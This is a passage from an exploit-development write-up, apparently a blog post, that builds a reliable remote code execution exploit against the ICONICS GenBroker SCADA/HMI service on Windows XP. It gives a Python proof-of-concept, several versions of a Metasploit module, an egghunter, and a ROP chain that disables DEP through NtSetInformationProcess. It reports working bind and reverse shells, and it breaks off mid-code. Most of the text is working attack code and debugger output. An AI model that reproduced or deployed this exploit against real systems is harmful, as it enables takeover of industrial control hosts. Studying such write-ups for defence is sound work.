$ ==> > 7C27DC7F Ü'| RETURN to MFC71U.7C27DC7F $+4 > 00AEE888 ˆè®. $+8 > 00AEEBF8 øë®. UNICODE "AAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB" $+C > 00000002 ... $+10 > 00AEEBF8 øë®. UNICODE "AAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB" $+14 > 7C27DC64 dÜ'| RETURN to MFC71U.7C27DC64 from MFC71U.7C27DC69 $+18 > 00AEEBF8 øë®. UNICODE "AAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"
Before we had to look for a pivot of +0x0C, however this time around we have a lot more options. Lets take a look at the same pointer we used before.
00450064 . F1FC4400 DD GenBroke.0044FCF1
0044FCF1 |> 8B4C24 0C MOV ECX,DWORD PTR SS:[ESP+C] ; Default case of switch 0044F579 0044FCF5 |. 5F POP EDI ; + 0x04 0044FCF6 |. 5E POP ESI ; + 0x04 0044FCF7 |. 64:890D 000000>MOV DWORD PTR FS:[0],ECX 0044FCFE |. 5B POP EBX ; + 0x04 0044FCFF |. 83C4 0C ADD ESP,0C ; totals + 0x18 with pops 0044FD02 \. C2 0400 RETN 4
Essentially this means we can return to +0x18 on the stack which is our buffer! Lets go ahead and try this out.
We will replace out “A” * 360 with “\x5c\x45” (to take into account our call [EDX + 8] which will point to 0x0045005C).
0045005C . 32F84400 DD GenBroke.0044F832 00450060 . DBF74400 DD GenBroke.0044F7DB 00450064 . F1FC4400 DD GenBroke.0044FCF1
To stay consistent we will put “\x5c\x45″ * 180 since we are multiplying two bytes instead of our original A’s * 360.
During the memcpy() routines bytes from our buffer are copied onto the stack allowing us to control the size field of another memcpy(). Different sizes resulted in different flows. Some interesting range of bytes I came across would result in potentially different flows (\x01 -> \x7f, \x80 -> \xfe,xff)
A bit of toying around I was able to control my call [EDX + 8] all the way onto the stack.
buffer = "\x5c\x45" * 180 buffer+= "A" * 14 #offset to return to venetian code buffer+= "B" * 6 #reserved for venetian walk buffer+= "A" * 53 #another memcpy is done here before the next one writen to stack, need to be less than 7f buffer+= "\x7f" * 8 #control memcpy size for stack to maximize length buffer+= "B" * 127 #bytes free for sc on the stack buffer+= "\xfe" * 140 #needs to be over 7f to get to the call edx buffer+= "B" * 10000
We will go ahead and put a break point on the call [EDX + 8] at location 0x7C27DC7C and single step until we hit our buffer.
Woot! Looks like we land back in our unicode buffer, using a reliable pointer.
We can write some venetian shellcode here to return to our ascii buffer on the stack.
Let’s rerun our code again and insert some venetian code to return to our stack code.
00AEEC88 61 POPAD 00AEEC89 0042 00 ADD BYTE PTR DS:[EDX],AL 00AEEC8C 58 POP EAX 00AEEC8D 0042 00 ADD BYTE PTR DS:[EDX],AL 00AEEC90 C3 RETN
If we single step we now return to a (small) 127 byte buffer on the stack. 127 bytes is not a lot, but it’s enough for an egg hunter.
So I added an egghunter and put a tag before our shellcode. The final layout looks like:
#!/usr/bin/python # lincoln - lincoln@corelan.be # import socket,sys,struct header = "\x01\x00\x00\x1e\x00\x00\x00\x01\x00\x00\x1f\xf4\x01" header += "\x00" * 7 opcode = "\xb0\x04" header2 = "\x00" * 36 header3 = "\x01\x00\x00\x40" sc = "w00tw00t" sc+= "\xcc\xcc\xcc\xcc" sc+= "D" * 1000 egg = ("\x66\x81\xca\xff\x0f\x42\x52\x6a\x02" "\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8\x77\x30" "\x30\x74\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7") buffer = "\x5c\x45" * 180 buffer+= "A" * 14 #offset to return to venitian code buffer+= "\x61\x42\x58\x42\xc3" #ventetian walk to egghunter buffer+= "A" * 53 #another memcpy is done here before the next one writen to stack buffer+= "\x7f" * 8 #control memcpy size for stack to maximize length buffer+= egg buffer+= "B" * (127-len(egg)) #bytes free for sc buffer+= "\xfe" * 140 #needs to be over 7f to get to the call edx buffer+= sc buffer+= "B" * (10000-len(sc)) payload = header + opcode + header2 + header3 + buffer def sploit(): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('127.0.0.1', 38080)) print "[+] Kill packet sent!\n" s.send(payload) s.close() if __name__ == '__main__': try: sploit() except: print "error" sys.exit(0)
The first thing I did was convert our code into a Meta module and test different payloads.
While I could get Bind/Reverse shells to work, meterpreter would not work (there will be more on this later).
At this time this current code will work on both XP and Windows 2003 with DEP disabled or safeseh DEP (processors that do not support Hardware DEP since it’s enabled ON by default on 2003).
We have reliable code execution, but there are 2 issues :
- Meterpreter doesn’t work
- no DEP bypass
Target OS selection, DEP Bypass
Because our target is a HMI application, it’s very likely that we need to write an exploit that will work against Windows XP. Although Windows XP was released back in 2003, it still has the biggest market share of all Windows client operating systems. Especially in the Scada world, XP is still the de facto standard for hosting HMI applications.
We realize that in the default configuration of XP, DEP won’t have a big impact on an exploit that targets the Genesis application, but we will still assume DEP was enabled for all applications and services.
So moving forward, I decided to start with XP with DEP enabled for now (skip 2003 server) , and we would revisit the issue with Meterpreter later.
Solution III (the last and final one)
If DEP is enabled, we will not be able to use our Venetian shell code (unless we can set up a rop chain using Unicode pointers)
We will need to find another buffer layout, another way to reach code execution.
To this I am going to have to revisit all the tables in GenBroker.exe, and see if there is another function that will allow a different flow.
Also going forward, we will start writing Metasploit code right away since this will be the final module I submit.
After lots of testing and going through each function in the IAT tables I could choose from I finally found something interesting. First lets look at our basic code setup, our skeleton code will look like:
'Windows XP', { 'Ret' => "\x70\x45", 'Max' => 9000, } def exploit header = "\x01\x00\x00\x1e\x00\x00\x00\x01\x00\x00\x1f\xf4\x01\x00\x00\x00" header << "\x00\x00\x00\x00\xb0\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" header << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" header << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x40" sploit = target['Ret'] * 180 #retn to call + [EAX + 58] sploit << "\x7f" * 34 #max buffer + max memcpy() sploit << "A" * 128 #buffer on stack sploit << rand_text_alpha(target['Max']-sploit.length) connect print_status("Sending request. This will take a few seconds...") sock.put(header + sploit) handler disconnect end
If we take a look at 0x00450070 (and add + 0x08 for our call [EDX + 8]) we see the below IAT address.
00450078 . 90F94400 DD GenBroke.0044F990 ; Switch table used at 0044F91B
At 0x44f990 will run through a bunch of functions until we get to:
7C29BC65 E8 CD13FCFF CALL MFC71U.7C25D037
After we single step through that function we come to:
7C25D037 55 PUSH EBP 7C25D038 8BEC MOV EBP,ESP 7C25D03A 51 PUSH ECX 7C25D03B 51 PUSH ECX 7C25D03C 53 PUSH EBX 7C25D03D 56 PUSH ESI 7C25D03E 8BF1 MOV ESI,ECX 7C25D040 F646 18 01 TEST BYTE PTR DS:[ESI+18],1 7C25D044 57 PUSH EDI 7C25D045 0F84 7FE80200 JE MFC71U.7C28B8CA 7C25D04B 8B4E 28 MOV ECX,DWORD PTR DS:[ESI+28] 7C25D04E 8B45 08 MOV EAX,DWORD PTR SS:[EBP+8] 7C25D051 8D5E 2C LEA EBX,DWORD PTR DS:[ESI+2C] 7C25D054 8B3B MOV EDI,DWORD PTR DS:[EBX] 7C25D056 2BF9 SUB EDI,ECX 7C25D058 03C7 ADD EAX,EDI 7C25D05A 837E 08 00 CMP DWORD PTR DS:[ESI+8],0 7C25D05E 8945 F8 MOV DWORD PTR SS:[EBP-8],EAX 7C25D061 0F84 6DE80200 JE MFC71U.7C28B8D4 7C25D067 85FF TEST EDI,EDI 7C25D069 0F85 D2E80200 JNZ MFC71U.7C28B941 7C25D06F 8B4E 24 MOV ECX,DWORD PTR DS:[ESI+24] 7C25D072 8B01 MOV EAX,DWORD PTR DS:[ECX] 7C25D074 53 PUSH EBX 7C25D075 8D7E 30 LEA EDI,DWORD PTR DS:[ESI+30] 7C25D078 57 PUSH EDI 7C25D079 FF76 20 PUSH DWORD PTR DS:[ESI+20] 7C25D07C 6A 00 PUSH 0 7C25D07E FF50 58 CALL DWORD PTR DS:[EAX+58]
If we continue to run through this code we end up with an access violation reading [ECX] (which we control)
if we follow the code until 7C25D07E, we see a call to [EAX+58]. Since EAX is populated from reading [ECX], and there doesn’t seem to be unicode conversion involved, this might be very interesting.
Up until now we have seen the “Good” and the “Bad”, but despite the fact that this looks promising, it’s about to get “ugly”.
The ‘problem’ – from call [eax+58] to EIP
Looking at the available options, I decided to try to take advantage of the call [eax+58] inside function CArchive::FillBuffer() (mfc71u.dll). The CArchive Class, as explained on MSDN, allows the developer to save objects in a permanent binary form. These objects persist after the objects are deleted, and can be reconstructed in memory. The process of making data persistent is called “serialization”.
As result of the allocation issues, our payload appears to have overwritten a function pointer / vtable in the heap, which gets copied onto the stack. When the code inside the FillBuffer() function runs, ESI contains a pointer to the stack. Because of the corruption, at ESI+24, we find a pointer to the heap. At that location in the heap, there is a pointer into our controlled buffer.
From that point on, a series of dereferences allow us to control the call at 0x7c25D07E. ([ECX] -> EAX -> [EAX+58])
7C25D06F > 8B4E 24 MOV ECX,DWORD PTR DS:[ESI+24] 7C25D072 . 8B01 MOV EAX,DWORD PTR DS:[ECX] 7C25D074 . 53 PUSH EBX 7C25D075 . 8D7E 30 LEA EDI,DWORD PTR DS:[ESI+30] 7C25D078 . 57 PUSH EDI 7C25D079 . FF76 20 PUSH DWORD PTR DS:[ESI+20] 7C25D07C . 6A 00 PUSH 0 7C25D07E . FF50 58 CALL DWORD PTR DS:[EAX+58]
In normal operation, this routine eventually leads to a call to function MFC71U.#2466 (0x7C286D2D, which is CMemFile::GetBufferPtr()).
There are 2 issues.
First of all, we need to figure out where we want our call to end up. We have to bypass DEP, so we’ll need some kind of stackpivot that doesn’t just “jmp” to our payload, but rather should return to the first gadget in a rop chain.
Once we figured out what kind of pivot we need, we need to put a pointer at [[ESI+24]], which should eventually lead to running the stackpivot.
In short, based on the instruction flow, we’ll need to find a reliable pointer (ECX) to (pointer – 58) (EAX) to pointer to our stack pivot.
Damn. Finding a pointer to pointer to an instruction is hard enough.
The additional level (depth) and the fact that we need to compensate for the +58 offset doesn’t make things easier. Good luck.
Stack layout
First things first. Before trying to find the required pointer, we need to figure out what our options are. The most obvious approach at this point is to look on the stack for either pointers into our controlled buffer, or look for the controlled buffer itself.
This is what the stack looks like right before the CALL [EAX+58] :
0150FABC 7C25D081 Ð%| RETURN to MFC71U.7C25D081 0150FAC0 00000000 .... 0150FAC4 41414141 AAAA 0150FAC8 0150FCE4 äüP ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" 0150FACC 0150FCE0 àüP ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" 0150FAD0 0150FCB4 ´üP ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" 0150FAD4 0150FCB4 ´üP ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" 0150FAD8 0150FCB4 ´üP ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" 0150FADC 00000001 ... 0150FAE0 0150FCB4 ´üP ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
The ‘solution’
Mona.py to the rescue!
We control 4 bytes at ESP+8, and we have pointers into our payload below that. We need to bypass DEP so we should try to return to the 4 bytes at ESP+8. At that location, we’ll have to put in a pointer that would allow us to return into the buffer referenced by one of the pointers on the stack.
Our call [EDX+8] should lead to the first pointer (return to ADD ESP+8). But because of the offset (+58) and the number of levels deep, it will be very time consuming to do this by hand. Luckily mona.py has a way to automate all of this.
First of all, we need to find all available 8 bytes stackpivots. We will allow OS modules for now, we’ll figure out which ones are good on all versions of XP later on.
!mona stackpivot -n -distance 8,8 -cm rebase=false,os=true
Next, we’ll use the produced file (stackpivot.txt) as input to a recursive find operation, taking the offset into account.
We’ll instruct mona to find all ptr to ptr-58 to ptr to our stackpivots :
!mona find -type file -s "\stackpivot.txt " -cm rebase=false,os=true -x * -offset 88 -level 2 -offsetlevel 2
88 = 0x58
- Level 2 means it needs to do 2 recursive searches (so take the found pointers and use them as input for another search)
- Offsetlevel 2 means it will take the pointer to look for in the second iteration and subtract the offset from it
- -x * : make sure we get all pointers (accesslevel any)
So, the combined stackpivot search and recursive find allowed us to find all possible pointers without a lot of effort.
From the resulting pointers, we picked 0x771a22e4, which is a pointer from oleaut32.dll
At that address, we find 0x7712DCF0 (again from oleaut32.dll)
At 0x7712DCF0+0x58, we find 0x7712DA34, which is our stackpivot (again in oleaut32.dll)
We figured out what location in the buffer the pointer needs to be placed at, so the new metasploit code now looks like this :
def exploit header = "\x01\x00\x00\x1e\x00\x00\x00\x01\x00\x00\x1f\xf4\x01\x00\x00\x00" header << "\x00\x00\x00\x00\xb0\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" header << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" header << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x40" sploit = target['Ret'] * 180 #retn to call + [EAX + 58] sploit << "\x7f" * 34 #max buffer + max memcpy() sploit << "A" * 32 #buffer on stack sploit << "C" * 4 #pointer pushed onto stack, will be first ROP, stack pivot sploit << [0x771a22e4].pack('V') #pointer in ECX which will be ptr -> ptr -> ptr for call [EAX+58] sploit << "A" * 88 #buffer on stack sploit << rand_text_alpha(target['Max']-sploit.length) connect print_status("Sending request. This will take a few seconds...") sock.put(header + sploit) handler disconnect end
To make sure this is generic, we need to test our pointer 0x771a22e4 on unpatched and patched XP box since we are using an OS module.
PTR 3 or Pointer 3 looks like:
7712DA34 5E POP ESI ; MFC71U.7C25D081 7712DA35 5D POP EBP 7712DA36 C2 0400 RETN 4
All tests were good, apparently we found a reliable pointer that works on all versions of XP!
So let’s now go ahead and see what happens if we run our code with no break points..
Woot! All looks like we’re good to go!
Rip Rop & Roll
DEP Bypass & Stack Pivot
At this point, we control EIP and we can return to a pointer on the stack. Below that location, we find pointers into our payload, so we’ll need another pivot to return into that payload. Before we look for that stack pivot we might as well go ahead and see what our options are in terms of setting up a ROP chain.
Because we are targeting Windows XP, we have plenty of functions available to bypass / disable DEP. The most commonly used method in exploits today is VirtualProtect… but we can also use NtSetInformationProcess() or setProcessDEPPolicy() on XP.
Either way, we need to be able to get a reliable pointer to that function to pull off a reliable DEP bypass/disable ROP chain.
In order to find reliable pointers to “interesting” functions that will assist in bypassing / disabling DEP, I ran “!mona ropfunc”
By default, this function will skip OS modules, rebased and/or aslr modules, and returns this list :
0x0084f298 : lstrcpynw | startnull {PAGE_WRITECOPY} [GenBroker.exe] 0x0084f258 : getlasterror | startnull {PAGE_WRITECOPY} [GenBroker.exe] 0x0084f244 : lstrcpyw | startnull {PAGE_WRITECOPY} [GenBroker.exe] 0x0084fb48 : memmove | startnull {PAGE_WRITECOPY} [GenBroker.exe] 0x0084f26c : getmodulehandlea | startnull {PAGE_WRITECOPY} [GenBroker.exe] 0x0084f2f0 : loadlibraryw | startnull {PAGE_WRITECOPY} [GenBroker.exe] 0x0084f2ac : freelibrary | startnull {PAGE_WRITECOPY} [GenBroker.exe] 0x0084f2c0 : loadlibraryexw | startnull {PAGE_WRITECOPY} [GenBroker.exe] 0x0084f2c4 : getmodulehandlew | startnull {PAGE_WRITECOPY} [GenBroker.exe] 0x0084fb10 : strncpy | startnull {PAGE_WRITECOPY} [GenBroker.exe] ASLR: False, Rebase: False, SafeSEH: True, OS: False, v9.21.201.01 (C:\Program Files\Common Files\ICONICS\GenBroker.exe)
Hmmm not really encouraging. I noticed that one of the application modules is located in the windows folder (GenClientU.dll), and thus labeled as an OS module by mistake. Running a mona ropfunc against that module returns this :
!mona ropfunc -m genclientu.dll
0x101620d8 : freelibrary | {PAGE_READWRITE} [GenClientU.dll] 0x10162020 : getlasterror | ascii {PAGE_READWRITE} [GenClientU.dll] 0x101620e0 : loadlibraryw | {PAGE_READWRITE} [GenClientU.dll] 0x101620e4 : getmodulehandlew | {PAGE_READWRITE} [GenClientU.dll] 0x10162888 : memmove | {PAGE_READWRITE} [GenClientU.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v9.21.201.02 (C:\WINDOWS\system32\GenClientU.dll)
Still no good. That means that we need to revert to using an OS module. One of our goals is to make a reliable exploit that would work on all versions of Windows XP means that we’ll have to cross-check all found pointers again & verify if one of the pointers is reliable across the board.
Hardcoding the pointer to a function is not going to work (kernel32/ntdll are not reliable across patch levels), so we have to find something reliable in the IAT of one of the loaded modules. This is going to be manual work.
First, I enumerated all interesting functions in all loaded modules :
!mona ropfunc -m *
I filtered out all interesting functions (NtSetInformationProcess(), VirtualProtect(), setProcessDEPPolicy(), etc), and together with other Corelan Team members, we cross-checked all pointers on various OS versions.
Despite the fact that every module has differences, we still managed to find a static / reliable pointer to NtSetInformationProcess() in advapi32.dll :
0x77dd1404 : ntdll.ntsetinformationprocess | {PAGE_EXECUTE_READ} [ADVAPI32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5755
We verified that this pointer is reliable on all XP versions… advapi32.dll itself was different, but luckily the base address and location in the IAT was static.
Woot !
We now have a good pointer, but we’ll still need to craft a rop chain using reliable modules only, using the available space.
We won’t be able to use OS modules to do this. Luckily since we discovered GenClientU.dll is not an OS module we will look for our Stack Pivot and ROP chains with that module.
We can go ahead and run
!mona rop –m GenClientU.dll
If we look our stack setup from running our call [EAX + 58] pointer we can see that ESP points to our buffer.
016CFACC 016CFCE0 àül ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
If we can find a “POP ESP # RETN” in GenClientU.dll we can return to our buffer. Luckily for us we found one (“rop.txt”).
0x100b257b, # POP ESP # RETN
Let’s go ahead and add that and rerun, our code now looks like:
def exploit header = "\x01\x00\x00\x1e\x00\x00\x00\x01\x00\x00\x1f\xf4\x01\x00\x00\x00" header << "\x00\x00\x00\x00\xb0\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" header << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" header << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x40" sploit = target['Ret'] * 180 #retn to call + [EAX + 58] sploit << "\x7f" * 34 #max buffer + max memcpy() sploit << "A" * 32 #buffer on stack sploit << [0x100b257b].pack('V') # POP ESP # RETN sploit << [0x771a22e4].pack('V') #pointer in ECX which will be ptr -> ptr -> ptr for call [EAX+58] sploit << "A" * 84 #buffer on stack sploit << rand_text_alpha(target['Max']-sploit.length) connect print_status("Sending request. This will take a few seconds...") sock.put(header + sploit) handler disconnect end
Looks like were in business. We have a reliable pointer to return to the stack via call [eax+58]. We have a way to return into a bigger part of our payload, and we have a static location to call NtSetInformationProcess() which should allow us to disable DEP for the entire process.
Now its time to craft our ROP chain, but we have 2 ‘new’ issues :
- As you can see in the stack dump above, the available space for the rop chain is limited.
- On top of that, we still need to find a way to put our shellcode and jump to it after disabling DEP
Anyways, let’s start with the ROP chain itself.
The rop chain
For more info on crafting a ROP chain, check Peter’s ROP tutorial
As explained above, the ROP chain needs to set up the arguments for a NtSetInformationProcess() call, so the exploit can execute code from potentially non-executable memory locations (stack, heap) after that.
The parameters to set up on the stack are :
- Return address : Value to be generated, indicates where function needs to return to (= location where your shellcode is placed). The pushad will make sure a pointer to our shellcode is placed at the right place on the stack, there’s nothing we need to do to make this happen.
- NtCurrentProcess() : Static value, set to 0xFFFFFFFF
- ProcessExecuteFlags : Static value, set to 0x22
- &ExecuteFlags : Writeable pointer to 0x00000002, we’ll use 7c331d24 (!mona find -type bin -s ‘\x02\x00\x00\x00’ -m mfc71u.dll)
- sizeOf(ExecuteFlags) : Static value, set to 0x4
Putting everything together, the ROP chain looks like this :
def exploit header = "\x01\x00\x00\x1e\x00\x00\x00\x01\x00\x00\x1f\xf4\x01\x00\x00\x00" header << "\x00\x00\x00\x00\xb0\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" header << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" header << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x40" rop_chain = [ 0x100b257b, # POP ESP # RETN 0x771a22e4, # pointer in ecx -> initial ret to ret to pointer -> beg rop (thank you mona.py) 0x10047355, # Duplicate, readable, RETN 0x10047355, # POP EAX # RETN ** [GenClientU.dll] 0xffffffde, 0x7c3b2c65, # NEG EAX # RETN ** [MSVCP71.dll] 0x1011e33e, # XCHG EAX,EDX # RETN 0x1001ab22, # POP ECX # RETN ** [GenClientU.dll] 0x77dd1404, # ptr to ptr to NtSetInformationProcess() (ADVAPI.dll, static on XP) 0x100136c0, # MOV EAX,DWORD PTR DS:[ECX] # RETN ** [GenClientU.dll] 0x1008cfd1, # POP EDI, POP ESI, POP EBP, POP EBX, POP ESI,RETN ** [GenClientU.dll] 0x10080163, # POP ESI # RETN -> EDI 0x41414141, 0x41414141, 0xffffffff, # NtCurrentProcess() (EBX) 0x7c331d24, # ptr to 0x2 -> ECX 0x10090e3d, # XCHG EAX,EBP # RETN ** [GenClientU.dll] 0x10047355, # POP EAX # RETN ** [GenClientU.dll] 0xfffffffc, 0x7c3b2c65, # NEG EAX # RETN ** [MSVCP71.dll] 0x100dda84, # PUSHAD # RETN ** [GenClientU.dll] ].pack('V*') sploit = target['Ret'] * 180 #retn to call + [EAX + 58] sploit << "\x7f" * 34 #max buffer + max memcpy() sploit << "B" * 32 sploit << rop_chain sploit << "A" * 20 #buffer on stack sploit << rand_text_alpha(target['Max']-sploit.length) connect print_status("Sending request. This will take a few seconds...") sock.put(header + sploit) handler disconnect end
This code will disable DEP and allow us to execute the code placed after the ROP chain.
A few more words about the rop chain :
The first 2 pointers in the chain are in fact the ones that will lead to executing the chain. The second pointer is the one that will lead to initiating the chain via the call [EAX+58], and the first one is the first gadget (POP ESP / RETN).
From our first short analysis It looks like the next 2 pointers (10047355) need to be the same, although it may be possible the first one only needs to be readable. The second one is the one used during the ROP chain, but prior to gaining code execution (ROP) there is some code which will read the 2 pointers. What they are used for is not that important at this stage.
The other pointers are the gadgets that will craft the stack layout and finally call NtSetInformationProcess() before executing code from the stack.
Run code…
Nice, we have now disabled DEP for the entire process, and we can run arbitrary code. As indicated earlier, the available space to execute code after the rop chain is very limited.
We only have a few more bytes left after the rop chain. Luckily, we have 32 bytes at our disposal before the rop chain (filled with “B” in the script above)
That’s the perfect size for an egghunter. We’ll put the egg (tags + payload) somewhere at the bottom of the payload. Since we know the entire original packet was read into the heap, the egghunter should be able to find it, solving the second issue :)
The problem is we can not run the built in checksum to make sure we find our right tag, so we’ll have to make sure the tags are not found anywhere in our stack. A quick and easy solution is using “sploit << “A” * 10 #buffer on stack” after the rop chain to ensure that we don’t put our tag (“w00tw00t”) on the stack.
Let’s go ahead and add our egghunter and set a breakpoint at “JMP EDI” (at the end of the egghunter) right before our payload to make sure it finds it correctly. Our new code will look like this
def exploit eggoptions = { :eggtag => 'w00t', } hunter, egg = generate_egghunter(payload.encoded, "", eggoptions) header = "\x01\x00\x00\x1e\x00\x00\x00\x01\x00\x00\x1f\xf4\x01\x00\x00\x00" header << "\x00\x00\x00\x00\xb0\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" header << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" header << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x40" rop_chain = [ 0x100b257b, # POP ESP # RETN 0x771a22e4, # pointer in ecx -> initial ret to ret to pointer -> beg rop (thank you mona.py) 0x10047355, # Duplicate, readable, RETN 0x10047355, # POP EAX # RETN ** [GenClientU.dll] 0xffffffde, 0x7c3b2c65, # NEG EAX # RETN ** [MSVCP71.dll] 0x1011e33e, # XCHG EAX,EDX # RETN 0x1001ab22, # POP ECX # RETN ** [GenClientU.dll] 0x77dd1404, # ptr to ptr to NtSetInformationProcess() (ADVAPI.dll, static on XP) 0x100136c0, # MOV EAX,DWORD PTR DS:[ECX] # RETN ** [GenClientU.dll] 0x1008cfd1, # POP EDI, POP ESI, POP EBP, POP EBX, POP ESI,RETN ** [GenClientU.dll] 0x10080163, # POP ESI # RETN -> EDI 0x41414141, 0x41414141, 0xffffffff, # NtCurrentProcess() (EBX) 0x7c331d24, # ptr to 0x2 -> ECX 0x10090e3d, # XCHG EAX,EBP # RETN ** [GenClientU.dll] 0x10047355, # POP EAX # RETN ** [GenClientU.dll] 0xfffffffc, 0x7c3b2c65, # NEG EAX # RETN ** [MSVCP71.dll] 0x100dda84, # PUSHAD # RETN ** [GenClientU.dll] 0x90908aeb, # jmp back to egghunter ].pack('V*') sploit = target['Ret'] * 180 #retn to call + [EAX + 58] sploit << "\x7f" * 34 #max buffer + max memcpy() sploit << hunter #egghunter sploit << rop_chain sploit << "A" * 20 #clear out buffer on stack sploit << egg sploit << rand_text_alpha(target['Max']-sploit.length) connect print_status("Sending request. This will take a few seconds...") sock.put(header + sploit) handler disconnect end
If we take a look at EDI we can see our dump points to our shellcode! Time for testing!
Shellcode time!
Run shellcode
Finally, time to test & see if the module works.
I usually perform 3 type of tests on a new Metasploit module :
- Execute calc or run messagebox (relatively ‘safe’ shellcode, no network interactions)
- Bind shell (normal or reverse)
- Meterpreter (which is what we all want, right ? :)) . Let’s cross fingers & hope the issue with meterpreter is fixed too by changing the way we call our payload… May be wishful thinking, but never say never.
calc
works fine
bind shell
normal : works fine
reverse : works fine
meterpreter
(still keeping fingers crossed at this time)
Meterpreter just hangs in msfconsole, and debugger says this :
damn ! Meterpreter is still broken.
After reloading everything & stepping thru the payload, we noticed that stage 1 of the shellcode works fine, but stage 2 dies during execution.
The call stack at crash time looks like this :
0:007> k ChildEBP RetAddr 0172ef2c 7c9556d9 ntdll!RtlQueryProcessHeapInformation+0x385 0172ef88 7c864c5e ntdll!RtlQueryProcessDebugInformation+0x1ee 0172efac 01837d93 kernel32!Heap32First+0x48 WARNING: Frame IP not in any known module. Following frames may be wrong. 0172f874 7c8024c7+0x1837d92 0172f878 00000000 kernel32!ReleaseMutex+0x10
It looks like something went wrong during a heap related operation.
Hmmm.
We could write some code that would basically upload a meterpreter executable and run it, but that’s suboptimal to say the least. We really have to solve the issue in order to deliver a nice and reliable exploit module.
sinn3r suggested to try to use a smaller packet, trying to prevent the heap from being smashed, so that’s the first thing we tried.
The trials and tribulations
Smaller packet
I tried changing the total length of the packet, but unfortunately it didn’t really help. If the payload is too small, we’re not gaining control over EIP anymore. With a larger packet, we continue to breaking the heap.
copy shellcode to stack – memcpy()
Maybe copying the shellcode to the stack (after it was located in the heap) might work. I wrote a few lines of asm which copies the shellcode (after it was found by the egghunter), copy it onto the stack, and run it.
The modified Metasploit module now looks like this :
def exploit move_stub_asm = %Q| push 0x450 add edi,0x1b push edi push esp pop ebx sub ebx, 2000 push ebx push ebx mov eax,0x10162888 push [eax] ret | move_stub = Metasm::Shellcode.assemble(Metasm::Ia32.new, move_stub_asm).encode_string thepayload = move_stub << payload.encoded eggoptions = { :eggtag => 'w00t', } hunter, egg = generate_egghunter(thepayload, "", eggoptions) header = "\x01\x00\x00\x1e\x00\x00\x00\x01\x00\x00\x1f\xf4\x01\x00\x00\x00" header << "\x00\x00\x00\x00\xb0\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" header << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" header << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x40" rop_chain = [ 0x100b257b, # POP ESP # RETN 0x771a22e4, # pointer in ecx -> initial ret to ret to pointer -> beg rop (thank you mona.py) 0x10047355, # Duplicate, readable, RETN 0x10047355, # POP EAX # RETN ** [GenClientU.dll] 0xffffffde, 0x7c3b2c65, # NEG EAX # RETN ** [MSVCP71.dll] 0x1011e33e, # XCHG EAX,EDX # RETN 0x1001ab22, # POP ECX # RETN ** [GenClientU.dll] 0x77dd1404, # ptr to ptr to NtSetInformationProcess() (ADVAPI.dll, static on XP) 0x100136c0, # MOV EAX,DWORD PTR DS:[ECX] # RETN ** [GenClientU.dll] 0x1008cfd1, # POP EDI, POP ESI, POP EBP, POP EBX, POP ESI,RETN ** [GenClientU.dll] 0x10080163, # POP ESI # RETN -> EDI 0x41414141, 0x41414141, 0xffffffff, # NtCurrentProcess() (EBX) 0x7c331d24, # ptr to 0x2 -> ECX 0x10090e3d, # XCHG EAX,EBP # RETN ** [GenClientU.dll] 0x10047355, # POP EAX # RETN 